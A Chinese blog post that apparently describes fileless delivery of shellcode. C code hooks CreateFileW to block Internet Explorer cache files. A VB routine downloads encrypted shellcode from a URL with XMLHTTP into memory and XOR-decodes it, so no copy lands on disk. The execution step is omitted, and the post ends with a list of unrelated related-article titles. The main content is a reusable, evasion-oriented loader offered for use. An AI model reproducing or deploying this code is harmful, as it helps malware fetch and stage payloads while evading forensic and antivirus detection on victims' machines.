最近遇到的一个需求是,要求从网络上下载数据,并且文件不落地,那就是需要把缓存处理下,阻止缓存生成。无论我们用XmlHttp对象、还是inter网络通信控件、下载文件的API函数URLDownloadToFile都是会自动生成缓存文件。

Hook_CreateFileW阻止缓存生成

//HOOK CreateFileW
HANDLE  WINAPI TimedCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
{
//C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary
//Internet Files\Content.IE5\78B59JOE\tem[1].txtHANDLE ret=NULL ;if   (wcsstr(lpFileName,L"Temporary")){OutputDebugStringW(lpFileName);wprintf(lpFileName,"%ws",L"");return ret;}ret =  TrueCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);return ret;
}

以上钩子HOOK ,主要是为了解决下面的 XmlHttp对象所产生的缓存问题,这个对象底层实际上 是由winnet.dll这个模块实现,网上也有其他的方法来清除缓存,但是由于实际需求,要求阻止缓存生成,而不是缓存生成后再清楚,最终通过OD逆向调试发现他底层是由 CreateFileW函数来创建缓存文件,所以我们只要HOOK这个函数进行一个过滤即可。比如过滤掉下面这个缓存路径C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78B59JOE\tem[1].txt

以上这个路径就是 XmlHttp对象所产生的,无论是用其他的下载方式还是别的下载方式,其实都是有缓存的。但是微软只给予了删除缓存的API函数,并没有阻止缓存生成的功能,而这里我们要求更高一点,不是删除缓存,而是直接阻止缓存生成。

下面是VB操作 XmlHttp对象来下载文件,下载的数据保存到了一个内存数组上B。文件是不落地的。配合以上 API hook 钩子 就可以完美阻止缓存生成,真正实现文件不落地了。

'在内存中 解密启动 下载的shellcode,文件不落地
Private Sub DecryptRun_DownloadShllCode(ByVal nUrl As String)On Error GoTo M:Dim XmlHttp, b() As ByteSet XmlHttp = CreateObject("Microsoft.XMLHTTP")XmlHttp.Open "GET", nUrl, FalseXmlHttp.SetRequestHeader "If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"' XmlHttp.SetRequestHeader "Cache-Control", "no-cache" '      '"Cache-Control","no-cache"XmlHttp.SendIf XmlHttp.ReadyState = 4 Thenb() = XmlHttp.ResponseBody  '下载加密的shelcode文件以二进制字节模式保存到数组B()
'         Open nFile For Binary As #1
'         Put #1, , B()
'         Close #1End IfDim slen As Longslen = UBound(b()) '获取数组长度,即 shellcode的长度Dim i As LongFor i = 0 To slenb(i) = b(i) Xor &H21 '解密Next i'其他业务代码,暂时忽略Set XmlHttp = Nothing
M:
End Sub

真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)相关推荐

  1. 百度云盘上传文件和下载文件慢的解决办法

    百度云盘上传文件和下载文件慢的解决办法 一:上传文件慢 1. 左下角点击搜索,输入cmd,右键以管理员身份运行 2. 在弹出的窗口中输入netsh interface tcp set global a ...

  2. centos 下载文件很慢_百度云盘上传文件和下载文件慢的解决办法

    百度云盘上传文件和下载文件慢的解决办法 一:上传文件慢 1. 左下角点击搜索,输入cmd,右键以管理员身份运行 2. 在弹出的窗口中输入netsh interface tcp set global a ...

  3. rtthread + STM32F407VE + esp8266 +SD卡 从网络下载文件存到SD卡中

    学习rtthread,通过文章记录学习过程的一些问题. 手上有一块STM32F407VE的核心板(带sd卡槽,连接MCU的SDIO),和安信可的esp8266-12F模块,现以此为基础实现从网络上下载 ...

  4. java action下载文件,DownloadAction下载文件,该如何解决

    当前位置:我的异常网» Java Web开发 » DownloadAction下载文件,该如何解决 DownloadAction下载文件,该如何解决 www.myexceptions.net  网友分 ...

  5. JAVA从网络下载文件到本地

    1.首推一种方法,封装好的FileUtils,简单一句话就搞定 /*** 下载文件---返回下载后的文件存储路径* * @param url 文件地址* @param dir 存储目录* @param ...

  6. JS 下载文件方法分享(解决图片文件无法直接下载和 IE兼容问题)

    场景简介 由于业务需要,经常遇到下载各类文件的需求,其中最头疼的莫过于前端下载图片了,直接给个图片文件地址会变成直接打开图片,而不是弹窗提示另存为,研究了下前端实现文件下载最便捷的方法还是创建 a 标 ...

  7. 【Python】Python的urllib模、urllib2模块的网络下载文件

    因为需要从一些下载一个页PDF文件.但是需要下载PDF有数百个文件,这是不可能用人工点击下载.只是Python有相关模块,所以写一个程序PDF文件下载,顺便熟悉Python的urllib模块和ulrl ...

  8. python模块下载1002python模块下载_【Python】Python的urllib模、urllib2模块的网络下载文件...

    因为需要从一些下载一个页PDF文件.但是需要下载PDF有数百个文件,这是不可能用人工点击下载.只是Python有相关模块,所以写一个程序PDF文件下载,顺便熟悉Python的urllib模块和ulrl ...

  9. iOS之网络下载文件

    文件下载 文件下载在我们日常开发中经常使用到,比如:图片,音频,视频等 简单的小文件下载 get异步下载 - (void)viewDidLoad {[super viewDidLoad];NSStri ...

最新文章

  1. STM32串口发送中断
  2. 自己做的几个小软件(数学工具和游戏),用C/C#制作,用到许多相关的C#技术细节,可以免费提供下载,感兴趣的,来看一下...
  3. 阅读第13,14,15,16,17章
  4. 两种方式:mysql查看正在执行的sql语句
  5. 禁止复制粘贴_网页禁止复制粘贴? 教你5招, 绕过网页限制, 免费复制全网内容!...
  6. 视镜:华为云媒体质量管理最新实践
  7. MediaStreamTrackAudioSourceNode
  8. python压缩教程_无需压缩软件,用python帮你操作压缩包
  9. 洛谷 3951 小凯的疑惑
  10. 如何清理cmake产生的各种文件
  11. 谷歌开源缓存框架Guava Cache
  12. failed to create symbolic link ‘/usr/bin/mysql’: File exists
  13. Linux下测试SSD硬盘读写速率
  14. 中国丙泊酚行业竞争与投资前景研究报告(2021版)
  15. 天津插画师培训机构 ,0基础可以学吗?
  16. 如何将mp4转换mp3音频文件
  17. 神经网络入门经典书籍,神经网络基础书籍
  18. 计算机内存die,你们说的美光E-DIE其实非常强(C9BJZ)
  19. 【推荐】Windows安装的几种工具
  20. 微信小程序开发与mysql_微信小程序云开发之云数据库入门

热门文章

  1. 2019强网杯crypto writeup
  2. PAT-ADVANCED1114——Family Property
  3. Windows预览体验计划空白等一些问题的解决办法
  4. 【总线】什么是并行传输?什么是串行传输?什么是异步传输?什么是同步传输?什么是等时传输?
  5. electron静默打印v_13,webview方式的相关配置
  6. 辉芒微IO单片机FT60F010A-URT
  7. 操作系统磁盘调度算法
  8. HttpClient4.5.6设置代理以及代理验证(用户名和密码)
  9. 语音特征信号分类---BP神经网络---MATLAB实现
  10. HDFS加密存储(Ranger集成KMS方式)